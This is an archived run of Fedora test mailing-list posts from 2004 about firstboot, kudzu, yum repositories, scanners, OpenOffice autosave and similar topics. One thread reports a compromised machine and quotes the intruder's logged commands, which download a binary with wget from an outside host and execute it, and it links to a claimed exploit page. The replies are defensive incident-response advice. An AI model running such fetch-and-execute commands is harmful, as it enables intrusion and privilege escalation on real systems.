<1101057951.4067.4.camel@kyrre> (from kyrre@solution-forge.net on Sun Nov 21 09:38:08 2004) References: <1101005601l.26533l.2l@devel.mpeters.us> <1101057951.4067.4.camel@kyrre> Message-ID: <1101060623l.5237l.1l@devel.mpeters.us> On 11/21/2004 09:38:08 AM, Kyrre Ness Sjobak wrote: > > Kudzu and printers.. Ever had a paralell printer connected to a > fedora > box, which is often switched on/off? kudzu has an option to keep settings or do nothing. With my USB printer that works. I don't know why it wouldn't with a parallel printer. From shrek-m at gmx.de Sun Nov 21 18:13:49 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Sun, 21 Nov 2004 19:13:49 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101059737.3496.24.camel@localhost.localdomain> References: <20041121013903.GA1897@jadzia.bu.edu> <1101006464.3496.8.camel@localhost.localdomain> <41A0459C.5050903@gmx.de> <1101059737.3496.24.camel@localhost.localdomain> Message-ID: <41A0DADD.6050304@gmx.de> Rodolfo J. Paiz wrote: >>>However, I *do* think that we are >>>missing a "Getting Started" application [...] >>> >>> >>$ nautilus start-here:/// >> >Not intuitive, not well-documented, not clear. Hell, I don't think *I* >ever found it, and I've been here for ages. > fc3 is the first release since ages without the "start-here" icon/starter on the desktop -- shrek-m From strange at nsk.no-ip.org Sun Nov 21 18:22:10 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Sun, 21 Nov 2004 18:22:10 +0000 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101058146.4067.9.camel@kyrre> References: <20041121003126.GA11906@nsk.no-ip.org> <1101058146.4067.9.camel@kyrre> Message-ID: <20041121182210.GA31958@nsk.no-ip.org> On Sun, Nov 21, 2004 at 06:39:39PM +0100, Kyrre Ness Sjobak wrote: > s?n, 21.11.2004 kl. 01.31 skrev Luciano Miguel Ferreira Rocha: > > On Sun, Nov 21, 2004 at 08:12:20AM +0800, joelbryan wrote: > > > Firstboot will try to get the most information about how the user > > > wants the system to be setup. I think enhancing Firstboot will make a > > > lot of improvements to setting up system-wide changes affecting to all > > > the users. Firstboot setup will make the system more easier to use, > > > since they don't have to think about setting up the printers, the > > > scanners, the ISP, since it's all configured and ready for use using > > > Firstboot. > > > > > > Here are the list I believe should be asked in Firstboot. > > > > > > 1. Printers & Scanners > > > 2. Network ISP's for PPPoe (DSL, Broadband) > > > 3. Up2Date Software Updates > > > 4. Login Preferences (Facebrowser, Network Login) > > 5. Allow a root login on a console or xterm for when the network the > > maching is being installed on is different than the one it will be > > deployed to. (Or for other necessary changes for firstboot to run > > smoothly.) > > > > Root account is local, not ldap (etc). Yes, but the firstboot stops the boot process. Either I kill it with ctrl+alt+backspace or I can't change the network configuration or other things for it to proceed smoothly (ntp, up2date). Regards, Luciano Rocha From rpaiz at simpaticus.com Sun Nov 21 18:44:17 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 21 Nov 2004 12:44:17 -0600 Subject: Fedora Firstboot Enhancements In-Reply-To: <41A0DADD.6050304@gmx.de> References: <20041121013903.GA1897@jadzia.bu.edu> <1101006464.3496.8.camel@localhost.localdomain> <41A0459C.5050903@gmx.de> <1101059737.3496.24.camel@localhost.localdomain> <41A0DADD.6050304@gmx.de> Message-ID: <1101062657.3496.27.camel@localhost.localdomain> On Sun, 2004-11-21 at 19:13 +0100, shrek-m at gmx.de wrote: > fc3 is the first release since ages without the "start-here" > icon/starter on the desktop > Admittedly, I've used servers on the CLI for ages. My use of GNOME and a GUI is significantly more recent than that, and I could well have missed it. Cheers, -- Rodolfo J. Paiz From paul at all-the-johnsons.co.uk Sun Nov 21 20:34:36 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Sun, 21 Nov 2004 20:34:36 +0000 Subject: Still having scanner problems with permissions Message-ID: <1101069276.3532.3.camel@localhost.localdomain> Hi, I'm using rawhide and have had this problem for a while and it's never really been fixed from what I can see. First off, the scanner is attached to a SCSI card. It is not always auto detected during power up due to the scanner having a cut out after a certain period of time. When it is detected, the aic7xxx module is loaded. However, to get it to work, the sg module needs to be loaded, aic7xxx removed and then reloaded. Should this not be automatically done during boot up? Once the sg module is loaded, the scanner is given a device name of /dev/sg0. This is owned by root.root. No one else has access to it unless they manually change the permission for the scanner - shouldn't this be automatically changed to whichever person requests it? TTFN Paul -- "I'm gonna hit the highway like a bat out of hell with a Cilla Black fan on the bike" - Meatloaf -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Sun Nov 21 20:42:23 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 21 Nov 2004 21:42:23 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101060623l.5237l.1l@devel.mpeters.us> References: <1101005601l.26533l.2l@devel.mpeters.us> <1101057951.4067.4.camel@kyrre> <1101060623l.5237l.1l@devel.mpeters.us> Message-ID: <1101069743.4067.12.camel@kyrre> s?n, 21.11.2004 kl. 19.10 skrev Michael A. Peters: > On 11/21/2004 09:38:08 AM, Kyrre Ness Sjobak wrote: > > > > > Kudzu and printers.. Ever had a paralell printer connected to a > > fedora > > box, which is often switched on/off? > > kudzu has an option to keep settings or do nothing. > With my USB printer that works. I don't know why it wouldn't with a > parallel printer. > As far as i know, a USB printer is really never turned completely off... Strangely, my fc2-laptop don't complain - but there i used "localhost:631" interface to configure it. From mpeters at mac.com Sun Nov 21 22:19:45 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 21 Nov 2004 22:19:45 +0000 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101069743.4067.12.camel@kyrre> (from kyrre@solution-forge.net on Sun Nov 21 12:42:23 2004) References: <1101005601l.26533l.2l@devel.mpeters.us> <1101057951.4067.4.camel@kyrre> <1101060623l.5237l.1l@devel.mpeters.us> <1101069743.4067.12.camel@kyrre> Message-ID: <1101075585l.5237l.5l@devel.mpeters.us> On 11/21/2004 12:42:23 PM, Kyrre Ness Sjobak wrote: > > As far as i know, a USB printer is really never turned completely > off... > Mine is. I have a laserjet4 (JetDirect) - I rarely use the usb printer, only when I need to so something with colour, less than once a month. I turn it off as in all the way off - no power at the brick. kudzu says it can't find it, I tell it to keep configuration, and that's last I hear of it. -=- Anyway - my point is kudzu is the RH/Fedora hardware tool. Firstboot isn't. If there is a problem with how kudzu handles a printer, kudzu should be fixed rather than moving detection to firstboot. People buy printers to replace old ones - so kudzu is where it belongs. From mullens at ntlworld.com Sun Nov 21 22:49:15 2004 From: mullens at ntlworld.com (richard mullens) Date: Sun, 21 Nov 2004 22:49:15 +0000 Subject: FC3 Graphical Install untenable with GeForce2 MX/MX 400 & Acer AL1715 lcd display Message-ID: <41A11B6B.7000409@ntlworld.com> When I attempted a graphical install, the "install screen" was offset 5 cm horizontally to the right in the viewable area. Thus when I needed to operate the right hand slider to get to the bottom of the custom install display, I could not locate it. The monitor left-right adjustment was insufficient to compensate for this offset. A text install worked OK. From tim at birdsnest.maths.tcd.ie Sun Nov 21 22:45:57 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Sun, 21 Nov 2004 22:45:57 +0000 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <1100963664.9129.16.camel@mobile01> References: <200411201600.56599.livelinux@nwst.de> <1100963664.9129.16.camel@mobile01> Message-ID: <200411212245.57872.tim@birdsnest.maths.tcd.ie> On Saturday 20 November 2004 15:14, Matthew E. Lauterbach wrote: > > how do i create a 'repodata' folder and the appropiate files for a local > > yum repository ? Is there a howto somewhere ? > How to build a custom Yum Repository in FC3: > http://fedoranews.org/contributors/richard_flude/repo/ Thanks, that was helpful. But what I would really like to do is _save_ rpms when I run "yum update" (or something similar) on my desktop, with the idea that when I run yum update on other machines on my home LAN it will look first in the destop repository. Is that possible? As far as I could see, in the examples I saw an entire repository was set up by mirroring one of the standard update repositories, which might make sense if one has 100 machines to update, but I'm not sure if it is appropriate if one has 3 or 4. I didn't see any yum option to save rpms rather than install them, as there used to be with Redhat up2date. Did I overlook something? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From mpeters at mac.com Mon Nov 22 00:24:47 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 22 Nov 2004 00:24:47 +0000 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <200411212245.57872.tim@birdsnest.maths.tcd.ie> (from tim@birdsnest.maths.tcd.ie on Sun Nov 21 14:45:57 2004) References: <200411201600.56599.livelinux@nwst.de> <1100963664.9129.16.camel@mobile01> <200411212245.57872.tim@birdsnest.maths.tcd.ie> Message-ID: <1101083087l.5237l.7l@devel.mpeters.us> On 11/21/2004 02:45:57 PM, Timothy Murphy wrote: > > But what I would really like to do is _save_ rpms > when I run "yum update" (or something similar) on my desktop, > with the idea that when I run yum update on other machines on my home > LAN > it will look first in the destop repository. > > Is that possible? Since different machine can different software, the best way to do what you want is to mirror the repositories nightly, and then point all the machines on your lan to your mirror. I use lftp from the crontab to mirror. IE lftp -e 'mirror -e && exit' http://some/repo/to/mirror That gets run for the repos I use nightly, and is served to my lan via ftp - but http or nfs would work equally well. That way all the packages are local, and all are available so that machines of different configurations can have the updates they might need readily available. From llch at redhat.com Mon Nov 22 00:27:43 2004 From: llch at redhat.com (Leon Ho) Date: Mon, 22 Nov 2004 10:27:43 +1000 Subject: Language selection problems (IIIMF, too) In-Reply-To: <8896.213.164.3.90.1099390463.squirrel@213.164.3.90> References: <20041102100318.GB28289@firstfloor.org> <8896.213.164.3.90.1099390463.squirrel@213.164.3.90> Message-ID: <1101083264.3604.8.camel@windcloud.brisbane.redhat.com> On Tue, 2004-11-02 at 11:14 +0100, nodata wrote: > > Hello, > > > > first I upgraded my Fedora 2 and experienced some problems with languages > > and input methods. Just to make sure it's not a result of the upgrade > > I installed fresh from the RC5 DVD. > > > > When I install iiimf-gnome-im-switcher and put it into the panel I can't > > switch to another language. I can't even add new languages cause > > the dialog "Add or remove languages" doesn't show a single language > > on either side. iiimf-gnome-im-switcher is for switching between different language inputs. Please visit http://fedora.redhat.com/projects/i18n/iiimf- faq.html for more information. For Languages selection, that's what nondata said. > > > > This time I've selected several languages (among others Japanese) > > during installation, so they should be there at least. > > Last time I had only one language installed and wasn't able to > > install another language post-install. How do I do so in principle? > > In the system dialogue where you can select the default language > > only the languages selected during install show up. There's no > > button to install new languages however .. > > "Improving post install language addition is planned for post FC3. > > At the moment the following *may* work with the caveats about > additional packages not being installed - eg fonts, etc - remove the > SUPPORTED line from /etc/sysconfig/i18n and rerun system-config-language." > > -- https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136648 > > > > > thanks for your help > > Oliver > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > From jerryw4386 at msn.com Mon Nov 22 00:03:16 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Sun, 21 Nov 2004 16:03:16 -0800 Subject: LOST HARD DRIVES Message-ID: PROBLEM SOLVED THE STEPS ARE IN FC3TEST3 WITH ABALITY TO PUT DESKTOP ICONS FOR HARD DRIVE B AND HARD DRIVE C THAT MOUNT THESE DRIVES TO BE READABLE FC3TEST3 WITH UP2DATE NO ABALITY TO PUT DESKTOP ICONS FOR HARD DRIVE B [WINDOWS XP]OR HARD DRIVE C [EXTRA SPACE] AND MAKE THEM READABLE FC3 FINAL AND UP2DATE ON ABALITY TO PUT DESKTOP ICONS FOR HARD DRIVE B OR HARD DRIVE C AND MAKE THEM READABLE I WILL STAY WITH FC3 TEST 3 MAYBE FEDORA WILL PUT THEM BACK IN FEDORA CORE 4 THAT IS MY VOTE THANKS Jerry W. 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That way it would be easier to sift through the list and just get down to amd64 specific thoughts and problems. thx, From alan at clueserver.org Mon Nov 22 00:20:55 2004 From: alan at clueserver.org (alan) Date: Sun, 21 Nov 2004 16:20:55 -0800 (PST) Subject: fedora-amd64 list? In-Reply-To: Message-ID: On Sun, 21 Nov 2004, Justin Conover wrote: > Not sure were to ask this question, but I was wondering if Fedora > would create a seperate amd64 list. That way it would be easier to > sift through the list and just get down to amd64 specific thoughts and > problems. I would be interested in that. I am just concerened that the fixes would not make it back to the mainline developers. There are a couple of patches for my AMD64 laptop that I would still like to see make it into the main fedora kernel. (Like the cardbus patch.) -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From mullens at ntlworld.com Mon Nov 22 02:14:27 2004 From: mullens at ntlworld.com (richard mullens) Date: Mon, 22 Nov 2004 02:14:27 +0000 Subject: Vulnerability on FC3T2 ? Present in FC3 ? Message-ID: <41A14B83.1010603@ntlworld.com> Someone logged into my system on 13 Nov 2004 I found the following in /var/log/wtmp 207-36-180-20.prt.primarydns.com demo.allegientsystems.com My user password was changed - but not the root password - and the following commands had been executed:- w uname -a cat /etc/issue cd /tmp wget chebeleu.com/local chmod +x local ./local -d -r ./local -d -r lunx lynx There is a similar report dated 10-Nov-2004 at http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=96509133&m=531005547631 where someone suggested it might be the exploit at http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php Anybody know any more ? From sean.bruno at dsl-only.net Mon Nov 22 04:27:44 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sun, 21 Nov 2004 20:27:44 -0800 Subject: OOO not auto-saving by default Message-ID: <1101097664.27458.3.camel@oscar.metro1.com> I think this should be posted on the fedora-users list, but I thought I would throw it here as well. It appears that OOO doesn't have auto-save turned on by default. I just ran into this with my spouse, who is not very tech savy. She has never experienced(until now) the loss of a document do to a tech glitch or other oddities of computers. I "assumed" that this auto-save feature would be turned on, I would be incorrect... :) I enjoy letting my better-half poke around with Linux as it gives me a better perspective on what works and more importantly what does not. Anyway, fair warning to all OOO users, turn on your auto-save now, before it's too late! Sean Bruno From rpaiz at simpaticus.com Mon Nov 22 04:46:49 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 21 Nov 2004 22:46:49 -0600 Subject: OOO not auto-saving by default In-Reply-To: <1101097664.27458.3.camel@oscar.metro1.com> References: <1101097664.27458.3.camel@oscar.metro1.com> Message-ID: <1101098809.3496.84.camel@localhost.localdomain> On Sun, 2004-11-21 at 20:27 -0800, Sean Bruno wrote: > It appears that OOO doesn't have auto-save turned on by default. [...] > I "assumed" that this auto-save feature would be turned on, I would be > incorrect... :) > I don't think it has ever been enabled in OpenOffice, Microsoft Office, or Sun StarOffice that I can recall. It's a nice feature in many ways, but AFAIK it is never turned on by default. Just an FYI. Cheers, -- Rodolfo J. Paiz From sean.bruno at dsl-only.net Mon Nov 22 04:51:06 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sun, 21 Nov 2004 20:51:06 -0800 Subject: OOO not auto-saving by default In-Reply-To: <1101098809.3496.84.camel@localhost.localdomain> References: <1101097664.27458.3.camel@oscar.metro1.com> <1101098809.3496.84.camel@localhost.localdomain> Message-ID: <1101099066.27458.9.camel@oscar.metro1.com> > I don't think it has ever been enabled in OpenOffice, Microsoft Office, > or Sun StarOffice that I can recall. It's a nice feature in many ways, > but AFAIK it is never turned on by default. Just an FYI. > > Cheers, > > -- > Rodolfo J. Paiz > Really? MS Office seems to have it turned on everywhere here(my workplace). Maybe the Windows admins are savvy enough to turn it on. I will check on it and see what I can determine. But really, shouldn't this be on by default for a Desktop Distribution? Sean From scott.aaron at abc.net.au Mon Nov 22 04:51:52 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Mon, 22 Nov 2004 15:51:52 +1100 Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <41A14B83.1010603@ntlworld.com> References: <41A14B83.1010603@ntlworld.com> Message-ID: <1101099112.4094.26.camel@localhost.localdomain> And how does this prove that there is a vulnerability in fedora and not that you have poor securty? According to the URL's you post some one has installed a root kit. Unlucky. But they had to get it there first. You should first discover how they got onto your machine. You will need to check a lot more logs than just wtemp. Try secure and messages as well. Maybe some one guessed your password. I really hope that you have firewalled that ip range out to help prevent further trouble from that IP range ( assuming though the hacker isn't bouncing from comprimised machine to comprimised machine ). Also, you might want to consider who has had or might have had physical access to your machine ( if that is possible ). Pointing the finger at Fedora with out real proof is pointless. On Mon, 2004-11-22 at 02:14 +0000, richard mullens wrote: > Someone logged into my system on 13 Nov 2004 > I found the following in /var/log/wtmp > > 207-36-180-20.prt.primarydns.com > demo.allegientsystems.com > > My user password was changed - but not the root password - and the > following commands had been executed:- > > w > uname -a > cat /etc/issue > cd /tmp > wget chebeleu.com/local > chmod +x local > ./local -d -r > ./local -d -r > lunx > lynx > > There is a similar report dated 10-Nov-2004 at > http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=96509133&m=531005547631 > where someone suggested it might be the exploit at > http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php > > Anybody know any more ? > -------------- next part -------------- An HTML attachment was scrubbed... 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You will > need to check a lot more logs than just wtemp. Try secure and > messages as well. Maybe some one guessed your password. I really > hope that you have firewalled that ip range out to help prevent > further trouble from that IP range ( assuming though the hacker isn't > bouncing from comprimised machine to comprimised machine ). Also, you > might want to consider who has had or might have had physical access > to your machine ( if that is possible ). > > Pointing the finger at Fedora with out real proof is pointless. > > > On Mon, 2004-11-22 at 02:14 +0000, richard mullens wrote: > > > Someone logged into my system on 13 Nov 2004 > > I found the following in /var/log/wtmp > > > > 207-36-180-20.prt.primarydns.com > > demo.allegientsystems.com > > > > My user password was changed - but not the root password - and the > > following commands had been executed:- > > > > w > > uname -a > > cat /etc/issue > > cd /tmp > > wget chebeleu.com/local > > chmod +x local > > ./local -d -r > > ./local -d -r > > lunx > > lynx > > > > There is a similar report dated 10-Nov-2004 at > > http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=96509133&m=531005547631 > > where someone suggested it might be the exploit at > > http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php > > > > Anybody know any more ? > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -------------- next part -------------- An HTML attachment was scrubbed... URL: From rpaiz at simpaticus.com Mon Nov 22 05:08:26 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 21 Nov 2004 23:08:26 -0600 Subject: OOO not auto-saving by default In-Reply-To: <1101099066.27458.9.camel@oscar.metro1.com> References: <1101097664.27458.3.camel@oscar.metro1.com> <1101098809.3496.84.camel@localhost.localdomain> <1101099066.27458.9.camel@oscar.metro1.com> Message-ID: <1101100107.3496.88.camel@localhost.localdomain> On Sun, 2004-11-21 at 20:51 -0800, Sean Bruno wrote: > Really? MS Office seems to have it turned on everywhere here(my > workplace). Maybe the Windows admins are savvy enough to turn it on. > Well, I will admit to not having used MS Office for a while. I really don't recall it being on for MSO 2K or earlier, though. Still, regardless of memory there is always the chance of being mistaken. > I will check on it and see what I can determine. But really, shouldn't > this be on by default for a Desktop Distribution? > For most users, sure. Personally, I like hitting Save when I'm done with a paragraph or concept, not necessarily at fixed time intervals. That way I know that the last save makes sense. But hey... for most users, sure. Cheers, -- Rodolfo J. Paiz From michal at harddata.com Mon Nov 22 06:19:59 2004 From: michal at harddata.com (Michal Jaegermann) Date: Sun, 21 Nov 2004 23:19:59 -0700 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <200411212245.57872.tim@birdsnest.maths.tcd.ie>; from tim@birdsnest.maths.tcd.ie on Sun, Nov 21, 2004 at 10:45:57PM +0000 References: <200411201600.56599.livelinux@nwst.de> <1100963664.9129.16.camel@mobile01> <200411212245.57872.tim@birdsnest.maths.tcd.ie> Message-ID: <20041121231959.A23488@mail.harddata.com> On Sun, Nov 21, 2004 at 10:45:57PM +0000, Timothy Murphy wrote: > > But what I would really like to do is _save_ rpms > when I run "yum update" (or something similar) on my desktop, You actually do that unless you are running 'yum clean all' after you finished with updates. Look around in subdirectories of /var/cache/yum/. Try 'find /var/cache yum -name "*.rpm"' and check what you got. See also in 'man yum' what are effects of various 'clean' options. Michal From charlescurley at charlescurley.com Sun Nov 21 15:48:38 2004 From: charlescurley at charlescurley.com (charlescurley at charlescurley.com) Date: Sun, 21 Nov 2004 08:48:38 -0700 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <200411201600.56599.livelinux@nwst.de> References: <200411201600.56599.livelinux@nwst.de> Message-ID: <20041121154838.GA2534@charlescurley.com> On Sat, Nov 20, 2004 at 04:00:56PM +0100, Dirk Westfal wrote: > > hi, > > how do i create a 'repodata' folder and the appropiate files for a local yum > repository ? Is there a howto somewhere ? For FC1 & FC2, see http://www.charlescurley.com/yum.html. -- Charles Curley /"\ ASCII Ribbon Campaign Looking for fine software \ / Respect for open standards and/or writing? X No HTML/RTF in email http://www.charlescurley.com / \ No M$ Word docs in email Key fingerprint = CE5C 6645 A45A 64E4 94C0 809C FFF6 4C48 4ECD DFDB -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From backes at rhrk.uni-kl.de Mon Nov 22 06:56:39 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Mon, 22 Nov 2004 07:56:39 +0100 Subject: Font size when printing web pages with firefox Message-ID: <1101106599.5156.37.camel@sunny.rhrk.uni-kl.de> Hi, does somebody now how to enlarge the fontsize when printing web pages with firefox. I found no firefox option allowing to do this. -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From fedora at nodata.co.uk Mon Nov 22 07:55:05 2004 From: fedora at nodata.co.uk (nodata) Date: Mon, 22 Nov 2004 08:55:05 +0100 (CET) Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <41A14B83.1010603@ntlworld.com> References: <41A14B83.1010603@ntlworld.com> Message-ID: <29228.213.164.3.90.1101110105.squirrel@213.164.3.90> Your box has been compromised. You should wipe the disk and restore your data from a recent backup. See http://vil.nai.com/vil/content/v_99397.htm > Someone logged into my system on 13 Nov 2004 > I found the following in /var/log/wtmp > > 207-36-180-20.prt.primarydns.com > demo.allegientsystems.com > > My user password was changed - but not the root password - and the > following commands had been executed:- > > w > uname -a > cat /etc/issue > cd /tmp > wget chebeleu.com/local > chmod +x local > ./local -d -r > ./local -d -r > lunx > lynx > > There is a similar report dated 10-Nov-2004 at > http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=96509133&m=531005547631 > where someone suggested it might be the exploit at > http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php > > Anybody know any more ? > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From arjanv at redhat.com Mon Nov 22 08:10:31 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Mon, 22 Nov 2004 09:10:31 +0100 Subject: fedora-amd64 list? In-Reply-To: References: Message-ID: <1101111031.2813.16.camel@laptop.fenrus.org> On Sun, 2004-11-21 at 18:42 -0600, Justin Conover wrote: > Not sure were to ask this question, but I was wondering if Fedora > would create a seperate amd64 list. That way it would be easier to > sift through the list and just get down to amd64 specific thoughts and > problems. Like amd64-list at redhat.com ?? that already exists ;) -------------- next part -------------- A non-text attachment was scrubbed... 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If it is, have you found or filed an RFE in > redhat's bugzilla for its inclusion? > > If it isn't, do you know if the trash applet is slated for inclusion > in gnome 2.10? > If it isn't targetted from 2.10, is there an RFE open to include it in > upstreams gnome's bugzilla? Its in gnome-applets 2.9 Cheers, Mark. From terraformers at gmx.net Mon Nov 22 10:33:56 2004 From: terraformers at gmx.net (Lars) Date: Mon, 22 Nov 2004 11:33:56 +0100 Subject: http://fedoraproject.org/people/rss20.xml broken Message-ID: it says: XML Parsing Error: not well-formed Location: http://fedoraproject.org/people/rss20.xml Line Number 10, Column 65: http://lab.nitcom.com/galania/modules.php?op=modload&name=News&file=article&sid=33 ----------------------------------------------------------------^ a little fixup would be great thanks lars -- No Software Patents! http://nosoftwarepatents.com Datenschutz - Ihr gutes Recht! http://datenschutz.de Get Firefox! http://spreadfirefox.com From kyrre at solution-forge.net Mon Nov 22 10:48:00 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 22 Nov 2004 11:48:00 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101075585l.5237l.5l@devel.mpeters.us> References: <1101005601l.26533l.2l@devel.mpeters.us> <1101057951.4067.4.camel@kyrre> <1101060623l.5237l.1l@devel.mpeters.us> <1101069743.4067.12.camel@kyrre> <1101075585l.5237l.5l@devel.mpeters.us> Message-ID: <1101120480.8108.9.camel@kyrre> s?n, 21.11.2004 kl. 23.19 skrev Michael A. Peters: > On 11/21/2004 12:42:23 PM, Kyrre Ness Sjobak wrote: > > > > > As far as i know, a USB printer is really never turned completely > > off... > > > > Mine is. > I have a laserjet4 (JetDirect) - I rarely use the usb printer, only > when I need to so something with colour, less than once a month. > > I turn it off as in all the way off - no power at the brick. > > kudzu says it can't find it, I tell it to keep configuration, and > that's last I hear of it. > Hmm.. okay. I remember my (HP 930 C) printer used to make windows make a "device disconected" sound when turned off - and then, immediatly, a "device connected" sound. Next time you boot - will it whine then as well? > -=- > > Anyway - my point is kudzu is the RH/Fedora hardware tool. Firstboot > isn't. If there is a problem with how kudzu handles a printer, kudzu > should be fixed rather than moving detection to firstboot. > > People buy printers to replace old ones - so kudzu is where it belongs. > Maybe. But this behaviour is extremely annoying. Maybe this is one point where you *want* a manual install? Ie. that the users has to go to system-config-printer and install it? It's not like its hard or anything... From kyrre at solution-forge.net Mon Nov 22 10:49:46 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 22 Nov 2004 11:49:46 +0100 Subject: LOST HARD DRIVES In-Reply-To: References: Message-ID: <1101120585.8108.12.camel@kyrre> man, 22.11.2004 kl. 01.03 skrev JERRY WHITMIRE: > PROBLEM SOLVED > THE STEPS ARE IN FC3TEST3 WITH ABALITY TO PUT DESKTOP ICONS FOR HARD DRIVE > B AND HARD DRIVE C THAT MOUNT THESE DRIVES TO BE READABLE > FC3TEST3 WITH UP2DATE NO ABALITY TO PUT DESKTOP ICONS FOR HARD DRIVE B > [WINDOWS XP]OR HARD DRIVE C [EXTRA SPACE] AND MAKE THEM READABLE > > FC3 FINAL AND UP2DATE ON ABALITY TO PUT DESKTOP ICONS FOR HARD DRIVE B OR > HARD DRIVE C AND MAKE THEM READABLE > I WILL STAY WITH FC3 TEST 3 MAYBE FEDORA WILL PUT THEM BACK IN FEDORA CORE 4 > THAT IS MY VOTE > THANKS > > Jerry W. Whitmire > jerryw4386 at msn.com > PLEASE DONT WRITE INN ALL UPPERCASE IT IS VERY, VERY ANNOYING!!! You know you can just add the drives to fstab to have them mounted? Adding a shortcut on the desktop to the drive shouln't be to hard... From tim at birdsnest.maths.tcd.ie Mon Nov 22 13:07:55 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Mon, 22 Nov 2004 13:07:55 +0000 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <20041121231959.A23488@mail.harddata.com> References: <200411201600.56599.livelinux@nwst.de> <200411212245.57872.tim@birdsnest.maths.tcd.ie> <20041121231959.A23488@mail.harddata.com> Message-ID: <200411221307.56142.tim@birdsnest.maths.tcd.ie> On Monday 22 November 2004 06:19, Michal Jaegermann wrote: > > But what I would really like to do is _save_ rpms > > when I run "yum update" (or something similar) on my desktop, > > You actually do that unless you are running 'yum clean all' after > you finished with updates. Look around in subdirectories of > /var/cache/yum/. Try 'find /var/cache yum -name "*.rpm"' and check > what you got. See also in 'man yum' what are effects of various > 'clean' options. But could I nominate /var/cache/yum on my desktop as a yum repository, for use by other machines on my home LAN? Incidentally, I haven't understood how one keeps the metadata on a local repository up to date. Is one meant to run createrepo repeatedly? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From fedora-lists at dark-hill.co.uk Mon Nov 22 13:52:00 2004 From: fedora-lists at dark-hill.co.uk (Douglas Furlong) Date: Mon, 22 Nov 2004 13:52:00 +0000 Subject: OOO not auto-saving by default In-Reply-To: <1101100107.3496.88.camel@localhost.localdomain> References: <1101097664.27458.3.camel@oscar.metro1.com> <1101098809.3496.84.camel@localhost.localdomain> <1101099066.27458.9.camel@oscar.metro1.com> <1101100107.3496.88.camel@localhost.localdomain> Message-ID: <20041122135200.527aln68qxwwggk4@corrig.dark-hill.co.uk> ----- Message from rpaiz at simpaticus.com --------- Date: Sun, 21 Nov 2004 23:08:26 -0600 From: "Rodolfo J. Paiz" Reply-To: For testers of Fedora Core development releases Subject: Re: OOO not auto-saving by default To: For testers of Fedora Core development releases > On Sun, 2004-11-21 at 20:51 -0800, Sean Bruno wrote: >> Really? MS Office seems to have it turned on everywhere here(my >> workplace). Maybe the Windows admins are savvy enough to turn it on. >> > > Well, I will admit to not having used MS Office for a while. I > really don't recall it being on for MSO 2K or earlier, though. Still, > regardless of memory there is always the chance of being mistaken. > If I am remembering correctly, Excel up to Office XP (not tried 2003), actually needed a "module" to be installed to allow for automatic saves. Talk about hoops... I can't remember about word, but I am 99.99% sure that up to Office XP this also does not auto save, but I may be wrong. ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging 